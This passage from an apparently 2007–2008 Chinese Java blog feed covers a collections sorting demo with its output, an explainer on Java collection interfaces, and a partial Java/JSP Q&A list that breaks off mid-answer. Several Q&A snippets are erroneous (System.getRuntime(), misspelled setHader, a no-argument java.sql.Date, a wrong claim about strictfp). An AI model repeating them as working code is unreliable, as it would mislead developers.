&nbsp;&nbsp;Employee[] arrEmp = empList.toArray(new Employee[0]);<br />
&nbsp;&nbsp;Arrays.sort(arrEmp, comparatorById);//用Arrays.sort静态方法排序,比较器是comparatorById<br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;ct.display(arrEmp);<br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;LinkedList&lt;Employee&gt; linkedListEmp = new LinkedList&lt;Employee&gt;();<br />
&nbsp;&nbsp;linkedListEmp.add(new Employee(1,"no.1","semovy","he is a hero."));<br />
&nbsp;&nbsp;linkedListEmp.add(new Employee(2,"no.2","superman_wshm","from Shenzhen China"));<br />
&nbsp;&nbsp;linkedListEmp.add(new Employee(3,"no.3","韦善茂","来自中国"));<br />
&nbsp;&nbsp;linkedListEmp.add(new Employee(4,"no.4","joke","note1"));<br />
&nbsp;&nbsp;linkedListEmp.add(new Employee(3,"no.3","韦善茂","来自中国"));<br />
&nbsp;&nbsp;ct.display(linkedListEmp);<br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;ListIterator&lt;Employee&gt; ll =&nbsp; linkedListEmp.listIterator();<br />
&nbsp;&nbsp;while(ll.hasNext())<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;Employee em = ll.next();<br />
&nbsp;&nbsp;&nbsp;System.out.println("index:" + ll.nextIndex());<br />
&nbsp;&nbsp;&nbsp;if(em.getId() == 3)<br />
&nbsp;&nbsp;&nbsp;&nbsp;ll.remove();//删除刚跨过的元素<br />
&nbsp;&nbsp;}<br />
&nbsp;&nbsp;ct.display(linkedListEmp);<br />
&nbsp;}</p>
<p>&nbsp;/**<br />
&nbsp; * display all the objects in Collection<br />
&nbsp; * @prama Conllection<br />
&nbsp; */<br />
&nbsp;public void display(Collection c)//用for循环集合<br />
&nbsp;{<br />
&nbsp;&nbsp;System.out.println();<br />
&nbsp;&nbsp;for(Object obj : c)<br />
&nbsp;&nbsp;&nbsp;System.out.println(obj.toString() + " ");<br />
&nbsp;}<br />
&nbsp;public void display(Object[] arr)//用for循环数组<br />
&nbsp;{<br />
&nbsp;&nbsp;System.out.println();<br />
&nbsp;&nbsp;for(Object obj : arr)<br />
&nbsp;&nbsp;&nbsp;System.out.println(obj.toString() + " ");<br />
&nbsp;}<br />
}<br />
/**<br />
&nbsp;* 比较器接口Comparator 按id.升序<br />
&nbsp;*/<br />
&nbsp;class ComparatorById implements Comparator&lt;Employee&gt;<br />
{<br />
&nbsp;public int compare(Employee e1 ,Employee e2)<br />
&nbsp;{<br />
&nbsp;&nbsp;return e1.getId() - e2.getId();//按照id比较升序排序<br />
&nbsp;}<br />
}</p>
<br />
<br />
<br />
<br />
<br />
<br />
//==============================================================================<br />
结果:<br />
<p><br />
ArrayList <br />
HashSet <br />
LinkedSortedSet <br />
LinkedHashSet <br />
LinkedList </p>
<p>[ ID: 3 , No.: no.3 , Name: 韦善茂 , Note: 来自中国 ] <br />
[ ID: 2 , No.: no.2 , Name: superman_wshm , Note: from Shenzhen China ] <br />
[ ID: 1 , No.: no.1 , Name: semovy , Note: he is a hero. ] <br />
[ ID: 4 , No.: no.4 , Name: joke , Note: note1 ] </p>
<p>[ ID: 1 , No.: no.1 , Name: semovy , Note: he is a hero. ] <br />
[ ID: 2 , No.: no.2 , Name: superman_wshm , Note: from Shenzhen China ] <br />
[ ID: 3 , No.: no.3 , Name: 韦善茂 , Note: 来自中国 ] <br />
[ ID: 4 , No.: no.4 , Name: joke , Note: note1 ] </p>
<p>1 <br />
2 <br />
3 <br />
4 </p>
<p>[ ID: 3 , No.: no.3 , Name: 韦善茂 , Note: 来自中国 ] <br />
[ ID: 2 , No.: no.2 , Name: superman_wshm , Note: from Shenzhen China ] <br />
[ ID: 1 , No.: no.1 , Name: semovy , Note: he is a hero. ] <br />
[ ID: 4 , No.: no.4 , Name: joke , Note: note1 ] </p>
<p>[ ID: 1 , No.: no.1 , Name: semovy , Note: he is a hero. ] <br />
[ ID: 2 , No.: no.2 , Name: superman_wshm , Note: from Shenzhen China ] <br />
[ ID: 3 , No.: no.3 , Name: 韦善茂 , Note: 来自中国 ] <br />
[ ID: 4 , No.: no.4 , Name: joke , Note: note1 ] </p>
<p>[ ID: 4 , No.: no.4 , Name: joke , Note: note1 ]<br />
[ ID: 1 , No.: no.1 , Name: semovy , Note: he is a hero. ]</p>
<p>[ ID: 1 , No.: no.1 , Name: semovy , Note: he is a hero. ] <br />
[ ID: 2 , No.: no.2 , Name: superman_wshm , Note: from Shenzhen China ] <br />
[ ID: 3 , No.: no.3 , Name: 韦善茂 , Note: 来自中国 ] <br />
[ ID: 4 , No.: no.4 , Name: joke , Note: note1 ] <br />
[ ID: 3 , No.: no.3 , Name: 韦善茂 , Note: 来自中国 ] </p>
<p>[ ID: 1 , No.: no.1 , Name: semovy , Note: he is a hero. ] <br />
[ ID: 2 , No.: no.2 , Name: superman_wshm , Note: from Shenzhen China ] <br />
[ ID: 3 , No.: no.3 , Name: 韦善茂 , Note: 来自中国 ] <br />
[ ID: 3 , No.: no.3 , Name: 韦善茂 , Note: 来自中国 ] <br />
[ ID: 4 , No.: no.4 , Name: joke , Note: note1 ] </p>
<p>[ ID: 1 , No.: no.1 , Name: semovy , Note: he is a hero. ] <br />
[ ID: 2 , No.: no.2 , Name: superman_wshm , Note: from Shenzhen China ] <br />
[ ID: 3 , No.: no.3 , Name: 韦善茂 , Note: 来自中国 ] <br />
[ ID: 4 , No.: no.4 , Name: joke , Note: note1 ] <br />
[ ID: 3 , No.: no.3 , Name: 韦善茂 , Note: 来自中国 ] <br />
index:1<br />
index:2<br />
index:3<br />
index:3<br />
index:4</p>
<p>[ ID: 1 , No.: no.1 , Name: semovy , Note: he is a hero. ] <br />
[ ID: 2 , No.: no.2 , Name: superman_wshm , Note: from Shenzhen China ] <br />
[ ID: 4 , No.: no.4 , Name: joke , Note: note1 ] <br />
</p>
<br />
<br />
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/172751.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2008-01-04 15:24 <a href="http://www.blogjava.net/WshmAndLily/articles/172751.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>集合Collection框架</title><link>http://www.blogjava.net/WshmAndLily/articles/146943.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Thu, 20 Sep 2007 15:06:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/146943.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/146943.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/146943.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/146943.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/146943.html</trackback:ping><description><![CDATA[一直都不敢对这个系列的类入手，首先感觉太复杂了，但是我最终还是说服了自己咬咬牙，还是来看看，先在网上搜了一下关于这个方面的<br />
文章感觉是这个方面的知识跟一些数学知识联系起来看还是可以找到头绪的。<br />
首先就是集合的概念包括一些集合的运算，象交，并，包含的关系，映射也是属于集合但是java里的映射Map接口并不是继承自Collection。<br />
好了，首先我们来看看<br />
Collection接口：<br />
&nbsp;&nbsp;&nbsp; Collection接口用于表示任何对象或元素组。想要尽可能以常规方式处理一组元素时，就使用这一接口。<br />
&nbsp;&nbsp;&nbsp; 该接口支持如添加和除去等基本操作。设法除去一个元素时，如果这个元素存在，除去的仅仅是集合中此元素的一个实例。<br />
&nbsp;boolean add(Object element) <br />
&nbsp;boolean remove(Object element) <br />
&nbsp;&nbsp;&nbsp; Collection接口还支持查询操作：<br />
&nbsp;int size() <br />
&nbsp;boolean isEmpty() <br />
&nbsp;boolean contains(Object element) <br />
&nbsp;Iterator iterator() <br />
&nbsp;&nbsp;&nbsp; Collection接口支持的其它操作，要么是作用于元素组的任务，要么是同时作用于整个集合的任务。<br />
&nbsp;boolean containsAll(Collection collection) <br />
&nbsp;boolean addAll(Collection collection) <br />
&nbsp;void clear() <br />
&nbsp;void removeAll(Collection collection) <br />
&nbsp;void retainAll(Collection collection) <br />
&nbsp;&nbsp;&nbsp; containsAll()方法允许您查找当前集合是否包含了另一个集合的所有元素，即另一个集合是否是当前集合的<br />
&nbsp;子集。其余方法是可选的，因为特定的集合可能不支持集合更改。addAll()方法确保另一个集合中的所有<br />
&nbsp;元素都被添加到当前的集合中，通常称为并。clear()方法从当前集合中除去所有元素。removeAll()方法类似于<br />
&nbsp;clear()，但只除去了元素的一个子集。retainAll()方法类似于removeAll()方法，不过可能感到它所做的与前<br />
&nbsp;面正好相反：它从当前集合中除去不属于指定集合的元素，即交。<br />
List接口：<br />
&nbsp; 继承Collection以实现一个允许有重复项的有序集合，添加了索引项，和ListIterator迭代器（可以双向迭代）<br />
&nbsp; 另外函数subList(int from, int end)遵循前包后不包的原则（也就是返回的List只包含下标为<br />
&nbsp; 第from,from+1,...end-1个元数），<br />
&nbsp; 实现类：<br />
&nbsp;&nbsp;&nbsp; ArrayList,LinkedList，区别在于前者是基于数组来实现的，后者是基于链表来实现（里面有个内部元素类<br />
&nbsp;&nbsp;&nbsp; Entry）导致前面的随即访问较后者要快，但是插入、移除操作不及后面的快，另后者操作方法也更灵活，<br />
&nbsp;&nbsp;&nbsp; 包括前者没有的add,get,remove-([First][Last]),这些方法可以作为堆栈，队列，双向队列使用。<br />
&nbsp;&nbsp;&nbsp; Vector,可以实现可增长的对象数组。与数组一样，它包含可以使用整数索引进行访问的组件。但是，<br />
&nbsp;&nbsp;&nbsp; Vector 的大小可以根据需要增大或缩小，以适应创建 Vector 后进行添加或移除项的操作。 并发编程不安全<br />
&nbsp; 这里讲一下1.5版本和以前的版本不同的地方。<br />
&nbsp; 往一个ArrayList中加入一个整数，1.5版本以前的版本写法是：<br />
　&nbsp;List list = new ArrayList(); <br />
&nbsp;list.add( new Integer( 10 ) ); <br />
&nbsp; 而在1.5版本中可以写为：<br />
&nbsp;list.add( 10 ); <br />
&nbsp; 　因为，在1.5版本中，对一个整数进行包装，使之成为一个Integer对象(即包装，boxing)，然后加入到一个<br />
&nbsp;&nbsp;&nbsp; ArrayList中的做法被认为是没有必要的，反之，解包(unboxing)的做法也是没有必要的，这样的代码只是增<br />
&nbsp; 加了程序的文本长度而已，所以1.5版本支持了自动包装和解包操作，对于bool/Boolean，byte/Byte，<br />
&nbsp; double/Double，short/Short，int/Integer，long/Long，float/Float的相应包装/解包操作都进行了支持，<br />
&nbsp; 从而使代码变得简单。
<p><br />
Set接口：（共15个函数）<br />
&nbsp; 继承Collection,不允许重复的项，没有添加任何新的方法，只是在添加的函数中依赖元素equals()方法检<br />
&nbsp; 查等同性。<br />
&nbsp; 实现类：<br />
&nbsp;&nbsp;&nbsp; HashSet:为快速查找而设计的Set,存入的对象必须实现hashCode();<br />
&nbsp;&nbsp;&nbsp; TreeSet:保持次序的Set ,底层为树结构，使用它可以从Set中提取有序的序列，<br />
&nbsp;&nbsp;&nbsp; LinkedHashSet:具有HashSet的查询速度，且内部使用链表维护元素的顺序。<br />
&nbsp;&nbsp;&nbsp; </p>
<p>Map接口：<br />
&nbsp; 首先说明的是与Collection没有任何关系,反映的是一对映射关系的集合，该接口描述了从不重复的键到值<br />
&nbsp; 的映射。我们可以把这个接口方法分成三组操作：改变、查询和提供可选视图。<br />
&nbsp; 改变操作允许您从映射中添加和除去键-值对。键和值都可以为null。但是，您不能把Map作为一个键或值添<br />
&nbsp; 加给自身。<br />
&nbsp; Object put(Object key, Object value) <br />
&nbsp; Object remove(Object key) <br />
&nbsp; void putAll(Map mapping) <br />
&nbsp; void clear() <br />
&nbsp; 查询操作允许您检查映射内容：<br />
&nbsp; Object get(Object key) <br />
&nbsp; boolean containsKey(Object key) <br />
&nbsp; boolean containsValue(Object value) <br />
&nbsp; int size() <br />
&nbsp; boolean isEmpty() <br />
&nbsp; 最后一组方法允许您把键或值的组作为集合来处理。<br />
&nbsp;public Set keySet() <br />
&nbsp;public Collection values() <br />
&nbsp;public Set entrySet() <br />
&nbsp; 因为映射中键的集合必须是唯一的，您用Set支持。因为映射中值的集合可能不唯一，您用Collection支持。<br />
&nbsp; 最后一个方法返回一个实现Map.Entry接口的元素Set。<br />
&nbsp; 实现类：<br />
&nbsp;&nbsp;&nbsp; TreeMap:基于红黑树的实现，查看键或键值对时，他们能会被排序，TreeMap是唯一一个带subMap()的Map,<br />
&nbsp;&nbsp;&nbsp;&nbsp; 它可以返回一个子树。<br />
&nbsp;&nbsp;&nbsp; HashMap:是Map基于散列表的实现，插入和查询&#8220;键值对&#8221;的开销是固定的，可以通过构造起设置容量和负载<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 因子(load factor)，以调整容器性能。<br />
&nbsp;&nbsp;&nbsp; LinkedHashMap：Map 接口的哈希表和链接列表实现，具有可预知的迭代顺序。此实现与 HashMap 的不同<br />
&nbsp;&nbsp;&nbsp;&nbsp; 之处在于，后者维护着一个运行于所有条目的双重链接列表。此链接列表定义了迭代顺序，该迭<br />
&nbsp;&nbsp;&nbsp;&nbsp; 代顺序通常就是将键插入到映射中的顺序（插入顺序）。注意，如果在映射中重新插入键，则插<br />
&nbsp;&nbsp;&nbsp;&nbsp; 入顺序不受影响。（如果在调用 m.put(k, v) 前 m.containsKey(k) 返回了 true，则调用时会<br />
&nbsp;&nbsp;&nbsp;&nbsp; 将键 k 重新插入到映射 m 中。） <br />
&nbsp;&nbsp;&nbsp; 这里要解释一下loadfactor，默认为0.75，负载因子是哈希表在其容量自动增加之前可以达到多满的一种<br />
&nbsp;&nbsp;&nbsp; 尺度。当哈希表中的条目数超出了加载因子与当前容量的乘积时，则要对该哈希表进行rehash操作<br />
&nbsp;&nbsp;&nbsp; （即重建内部数据结构），从而哈希表将具有大约两倍的桶数。 <br />
&nbsp;通常，默认加载因子 (.75)在时间和空间成本上寻求一种折衷。加载因子过高虽然减少了空间开销，<br />
&nbsp;但同时也增加了查询成本（在大多数 HashMap 类的操作中，包括 get和put操作，都反映了这一点）。<br />
&nbsp;在设置初始容量时应该考虑到映射中所需的条目数及其加载因子，以便最大限度地减少 rehash<br />
&nbsp;操作次数。如果初始容量大于最大条目数除以加载因子，则不会发生 rehash 操作。</p>
<p><br />
总结java.util包里的东东包括一些集合框架方面的，日历，时间方面，及正则表达式，模式匹配等方面的类&nbsp;</p>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/146943.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2007-09-20 23:06 <a href="http://www.blogjava.net/WshmAndLily/articles/146943.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使用java.text包格式化数字和日期 </title><link>http://www.blogjava.net/WshmAndLily/articles/143693.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Sat, 08 Sep 2007 15:14:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/143693.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/143693.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/143693.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/143693.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/143693.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 在C中可以使用类似printf(&#8220;%d %8.2f"n&#8221;, 1001, 52.335)的方法实现格式化输出，可是Java中的System.out.println()并没有对应的功能。要格式化输出，必须使用java.text包中的类来实现类似的操作（要不怎么体现面向对象的优越性呢，不过据说jdk1.5准备又补上）。当然了，java.text包的功能还是很强大的，奇怪的是很多书...&nbsp;&nbsp;<a href='http://www.blogjava.net/WshmAndLily/articles/143693.html'>阅读全文</a><img src ="http://www.blogjava.net/WshmAndLily/aggbug/143693.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2007-09-08 23:14 <a href="http://www.blogjava.net/WshmAndLily/articles/143693.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>70个JAVA问答</title><link>http://www.blogjava.net/WshmAndLily/articles/143463.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Fri, 07 Sep 2007 08:25:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/143463.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/143463.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/143463.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/143463.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/143463.html</trackback:ping><description><![CDATA[<p align="left">1. 问：在JAVA与JSP中要调用一个LINUX上的脚本程序,或WINDOWS上的脚本程序,该怎么写？<br />
答：System.getRuntime().exec("bash &lt; aaa.sh");<br />
<br />
<br />
2. 问：java中用什么表示双引号<br />
答："\""<br />
<br />
<br />
3. 问：如何在JSP程序里另起一个线程？<br />
答：<br />
JSP本身就是独立线程运行而不象CGI都是独立进程.<br />
一般:<br />
Thread t = new Thread("你的对象\\");<br />
t.start();就可以了.<br />
要求你这个对象要实现runnable接口或继承thread.<br />
<br />
<br />
<br />
4. 问：jsp如何获得客户端的IP地址？<br />
答：<br />
request.getRemoteAddr()<br />
看看各个webserver的API文档说明，一般都有自带的，resin和tomcat都有<br />
<br />
<br />
<br />
5. 问：程序终止与输出终止<br />
答：<br />
程序中止:return;<br />
输出中止:out.close();这一句相当于ASP的response.end<br />
<br />
<br />
<br />
6. 问：jsp中如何得到上页的URL？<br />
答：request.getHeader("referer");<br />
<br />
<br />
<br />
7. 问：提交网页的网页过期功能是怎么做的？<br />
答：response.setHader("Expires","0");<br />
<br />
<br />
<br />
8. 问：在JSP网页中如何知道自已打开的页面的名称<br />
答：<br />
request.getRequestURI() ;//文件名<br />
request.getRequestURL() ;//全部ＵＲＬ<br />
<br />
<br />
<br />
9. 问：提交表单后验证没有通过，返回提交页面，如何使原提交页面中的数据保留？<br />
答：javascript的go(-1)可以把上页的表单内容重新显示出来,但password域没有<br />
<br />
<br />
<br />
10. 问：如何取得http的头信息？<br />
答：request.getHader(headerName);<br />
<br />
<br />
<br />
11. 问：&amp;&amp;和&amp;的区别？<br />
答：<br />
&amp;&amp;是短路的与操作，也就是当地一个条件是false的时候，第二个条件不用执行<br />
&amp;相反，两个条件总是执行。<br />
<br />
<br />
<br />
12. 问：将*以正弦曲线的一个周期显示出来<br />
答：<br />
public void paint(Graphics g)<br />
{<br />
for(int i=0;i&lt;200;i++)<br />
g.drawString("*",i,(int)(Math.sin(i)*20)+50);<br />
}<br />
}<br />
<br />
<br />
<br />
13. 问：浮点数相乘后结果不精确如100.0 * 0.6 结果等于 60.0004<br />
答：<br />
这不叫错误,float和double是这样实现的.如果要精确计算，java提供了一个strictfp,它的计算遵循IEEE 754标准.而普通的float和double是由地平台浮点格式或硬件提供的额外精度或表示范围。<br />
<br />
<br />
<br />
14. 问：如何获得当前用的cursors的位置？<br />
答：<br />
int row = rs.getRow()就是当前指针行数,还有isFrist();isBeforeFist();isLast();isAfterLast();可以测试是不是在方法名所说的位置<br />
<br />
<br />
<br />
15. 问：表单成功提交了，点后退显示网页过期<br />
答：<br />
在&lt;head&gt;&lt;/head&gt;里面加以下代码<br />
&lt;META HTTP-EQUIV="Pragma" CONTENT="no-cache"&gt; <br />
&lt;META HTTP-EQUIV="Cache-Control" CONTENT="no-cache"&gt; <br />
&lt;META HTTP-EQUIV="Expires" CONTENT="0"&gt; <br />
或者在表单页中加上<br />
&lt;% <br />
response.setHeader("Pragma","no-cache"); <br />
response.setHeader("Cache-Control","no-cache"); <br />
response.setDateHeader("Expires",0); <br />
%&gt;<br />
<br />
<br />
<br />
16. 问：接口的简单理解<br />
答：接口为了规范,比如我在接口中定义了一个方法:<br />
getData()<br />
这是用来从不同的数据库中取数据的,就是JDBC的实现对于用户,我不要知道每种数据库是如何做的,但我知道如何它们要实现这个接口就一定有这个方法可以供我调用.这样SUN就把这个接口给各个数据库开发商,让他们自己实现. 但为什么不用继承而用接口哩,因为继承只能从一个你类继承,而接口可以实现多个,就是说我实现的子类有多个规定好的接口中的功能. 这只是简单的理解,等你深入理解抽象的时候就知道抽象到抽象类时为什么还要再抽象到接口.<br />
<br />
<br />
<br />
<br />
17. 问：怎样编写一个取消按钮（怎样返回上一个页面，象工具栏的后退按钮）？<br />
答：<br />
javascript把每次浏览过的location都压到了一个栈中,这个栈就是history,然后你如果要回到第几个页面它就做几次POP操作,把最后POP出来的那个LOCATION给你. 这就是JAVASCRIPT在实现history.go(-x)的原理.<br />
<br />
<br />
<br />
<br />
18. 问：什么是回调？<br />
答：<br />
简单说,回调用不是让你去监听谁做完了什么事,而是谁做完了什么事就报告给你. 这就是回调用的思想.例子太多了,AWT的事件,SWING事件模型都是这样有. 还有多线程中,如果要控制线程数,不能总是查询每个线程是否结束,要在每个线程结束时让线程自己告诉主线程我结束了,你可以开新的线程了.<br />
<br />
<br />
<br />
19. 问：简要介绍一下compareTo方法<br />
答：<br />
compareTo方法是Comparable 接口必需实现的方法,只要实现Comparable 就可以用Arrays.srot()排序就象实现Runnable接口的run就能Thread()一样.<br />
<br />
<br />
<br />
20. 问：如何可以从别的Web服务器检索页, 然后把检索到的网页的HTML代码储存在一个变量中返回过来<br />
答：这是一个简单的WEB ROBOT实现,用URL类实现从网页中抓内容,然后自己写一个分析程序从中找出新的URL,不断递归下去就行了.<br />
<br />
<br />
<br />
21. 问：applet中如何获得键盘的输入<br />
答：application的System.in是当前系统的标准输入,applet因为安全的原因不可能读取当前系统(客户端)的标准输入,只能从它的ROOT组件的事件中,比如键盘事件中取得键值.<br />
<br />
<br />
<br />
22. 问：怎样计算代码执行所花费的时间？<br />
答：<br />
代码开始取时间，结束后取时间，相减<br />
long t1 = System.currentTimeMillis();<br />
///////////////// your code<br />
long t2 = System.currentTimeMillis() ;<br />
long time = t2-t1;<br />
<br />
<br />
<br />
23. 问：如何获在程序中获得一个文件的ContentType？<br />
答：<br />
URL u = new URL("file:///aaa.txt");<br />
URLConnection uc = u.openConnection();<br />
String s = uc.getContentType();<br />
<br />
<br />
24. 问：连接池的使用是建立很多连接池，还是一个连接池里用多个连接？<br />
答：<br />
只有在对象源不同的情况下才会发生多个池化,如果你只连一结一个数据源,永远不要用多个连结池. 所以连结池的初始化一定要做成静态的,而且应该在构造对象之前,也就是只有在类LOAD的时候,别的时候不应该有任何生成新的连结池的时候。<br />
<br />
<br />
25. 问：JavaMail要怎么安装？<br />
答：下载两个包，一个是javamail包，另一个是jaf包。下载完直接把这两个包不解压加到CLASSPATH。<br />
<br />
<br />
26. 问：怎样把地址栏里的地址锁定？<br />
答：把你的服务器的可访问目录索引选项关闭就行了,任何服务器都有一个conf文件,里面都有这个选项。<br />
<br />
<br />
27. 问：在JAVA中怎么取得环境变量啊。比如： TEMP = C：\TEMP ？<br />
答：String sss = System.getProperty(key)<br />
<br />
<br />
28. 问：怎样实现四舍五入，保留小数点后两位小数？<br />
答：<br />
import java.text.*;<br />
...<br />
NumberFormat nf=NumberFormat.getNumberInstance();<br />
nf.setMaximumFractionDigits(2);<br />
nf.setMinimumFractionDigits(2);<br />
nf.format(numb);<br />
<br />
<br />
29. 问：Applet和form如何通信？<br />
答：<br />
取得的参数传到param里面<br />
&lt;% <br />
String xxx = request.getParameter("xxx"); <br />
%&gt; <br />
&lt;applet&gt; <br />
&lt;param value="&lt;%=xxx%&gt;"&gt; <br />
&lt;/applet&gt;<br />
<br />
<br />
<br />
30. 问：java-plug-in是什么？<br />
答：Java Runtime Environment的插件。用来运行java程序。不需要什么特别的设置。等于你的机器里面有了jvm。<br />
<br />
<br />
31. 问：WEB上面怎么样连接上一个EXCEL表格？<br />
答：<br />
定义页面得contentType="application/vnd.ms-excel"，让页面以excel得形式打开。同样也可以以word得形式打开：application/msword。<br />
<br />
<br />
32. 问：怎样才能避免textarea字数限制？<br />
答：是使用了FORM的默认方法的缘故,如果什么也不写默认是GET改用Post即可，在Form中定义mothod="post"。<br />
<br />
<br />
33. 问：为什么加了&lt;%@page contentType="text/html;charset=gb2312" %&gt;插入数据库的中文，依然是乱码？<br />
答：<br />
这要从环境看,能显示说明你的JSP引擎没有问题,但写入数据库时你的JDBC能不能处理中文,同一公司不同版本的JDBC都有支持中文和不支持中文的情况,RESIN自带的MYSQL JDBC就不支持,MM的就支持,还有你的数据库类型是否支持中文?CHAR的一般支持,但是否用binary存储双字节码<br />
<br />
<br />
34. 问：对于JFrame，hide()，show()与setVisibel()有什么区别吗？<br />
答：<br />
setVisible()从Component继承过来，而hide(),show()从Window里面继承过来。<br />
Makes the Window visible. If the Window and/or its owner are not yet displa yable, both are made displayable. The Window will be validated prior to being made visible. If t he Window is already visible, this will bring the Window to the front. 区别在这。<br />
<br />
<br />
36. 问：sendRedirect为什么不可以转到mms协议的地址的？response.sendRedirect("mms://missiah.adsldns.org:9394");<br />
答：java平台目前实现的protocol中并没有mms,你可以取系统属性java.protocol.handler.pkgs看看它的值中有没有mms,所以如果要想重定向到mms://host这样和URL,只有生成客户端的JAVASCRIPT让它来重定向<br />
<br />
<br />
37. 问：JTable中怎样定义各个Columns和Width和怎样设置表格的内容靠做靠右或居中？<br />
答：<br />
TableColumn tc = table.getColumn("Name");//取得列名为"Name"的列Handle<br />
int currentWidth = tc.getPreferredWidth(); //取得该列当前的宽度<br />
tc.setPreferredWidth(200); //设置当前列宽<br />
tc.setMaxWidth(200); //设置该列最大宽度<br />
tc.setMinWidth(50); //设置该列最小宽度<br />
<br />
<br />
38. 问：批操作是否可用于select语句？<br />
答：批操作其实是指成批理更新的操作,绝对不可能用于select操作。<br />
<br />
<br />
39. 问：为什么jsp路径太深文件名太长就无法读取文件？<br />
答：path不能超过255长度,不然就找不到了.这是作业系统的事。<br />
<br />
<br />
40. 问：如何让页面不保留缓存？<br />
答：<br />
&lt;% <br />
response.setHeader("Pragma","No-cache"); <br />
response.setHeader("Cache-Control","no-cache"); <br />
response.setDateHeader("Expires", 0); <br />
%&gt;<br />
<br />
<br />
41. 问：我的applet code 中用到jbutton 时就出错是否由于ie不支持swing package 请问应怎么办？<br />
答：JBUTTON是SWING基本包啊,只要把jdk/jre/lib/rt.jar放在classpath就行了.不要加载任何别的库。<br />
<br />
<br />
42. 问：不知道java是否支持midi格式，如果支持，应该怎么把wave格式转换成midi格式？<br />
答：目前还不行,可以看一下JMF三个版中对MIDI的格式支持是read only,而WAVE是read/write,MIDI只能播放,不能生成。<br />
<br />
<br />
43. 问：在jsp里面防止用户直接输入url进去页面，应该怎么做呢？<br />
答：<br />
一是从web服务器控制,对某一目录的所有访问要通过验证.<br />
二是在要访问的页面中加入控制.这个一般用session,也可以用请求状态码实现<br />
<br />
<br />
44. 问：<br />
例如后台有一计算应用程序（此程序运算起来很慢，可持续几分钟到几小时，这不管，主要是能激活它），客户机讲任务提交后，服务器对任务进行检测无误后将向服务器后台程序发送信息，并将其激活。要求如下：<br />
1）首先将后台程序激活，让它执行此任务（比如，前台将计算的C代码提交上后，后台程序程序能马上调用，并将其运行）<br />
2）要在前台JSP页面中显示运行过程信息（由于运行时间长，希望让客户看到运行过程中产生的信息）如何完成？<br />
<br />
答：<br />
活是可以的,运行一个shell让它去运行后台就行,但不可能取出运行信息,因为HTTP的超时限制不可能永远等你后台运行的,而且信息如果要动态实时推出来就得用SERVER PUSH技术。<br />
<br />
<br />
<br />
45. 问：数据库是datetime 型 ，插入当前时间到数据库？<br />
答：<br />
java.sql.Date sqlDate = new java.sql.Date();<br />
PreparedStatement pstmt = conn.prepareStatement("insert into foo(time) values(?)");<br />
pstmt.setDate(1,sqlDate);<br />
pstmt.executeUpdate();<br />
<br />
<br />
46. 问：怎样去掉字符串前后的空格。<br />
答：String.trim()<br />
<br />
<br />
47. 问：session怎样存取int类型的变量？<br />
答：<br />
session.setAttribute("int", i+"");<br />
int i = Integer.parseInt(session.getAttribute("int"));<br />
<br />
<br />
48. 问：在javascript中如何使输出的float类型的数据保留两位小数。<br />
答：Math.round(aaaaa*100)/100。<br />
<br />
<br />
49. 问：在bean种如何调用session<br />
答：<br />
你可把session对象作为一个参数传给bean<br />
在BEAN中定义HttpServletRequest request;HttpSession session;<br />
然后<br />
session = request.getSession(false);<br />
false为如果session为空,不建立新的session<br />
将session作为参数传入.其实只要将request传入就可以<br />
<br />
<br />
50. 问：如何把txt或word文件按原格式显示在jsp页面或servlet上？<br />
答：<br />
其实一个非常简单的解决方法就是在服务器的MIME中指点定TEXT和WORD的解释方式,然后用JSP或SERVLET生成它就行了,客户端就会自动调用相应程序打开你的文档。<br />
如果是希望按原格式的显示在页面上，而不是调用其他程序打开那么你可以试试用WEBDEV协议,可以说这是MS的一个亮点.它是在WEB方式下打开文档,和共享一样.完全符合的要求。<br />
<br />
<br />
51. 问：object的clone方法为什么不能直接调用？<br />
答：<br />
这个方法在object中是protected<br />
为什么要把这个方法定义为protected,这是一个折中,它的目的是想知道你这个方法在Object里只是一个标记,而不是一个实现,比如<br />
<br />
public class Object<br />
{<br />
<br />
.............<br />
protected Object clone()<br />
{}<br />
}<br />
<br />
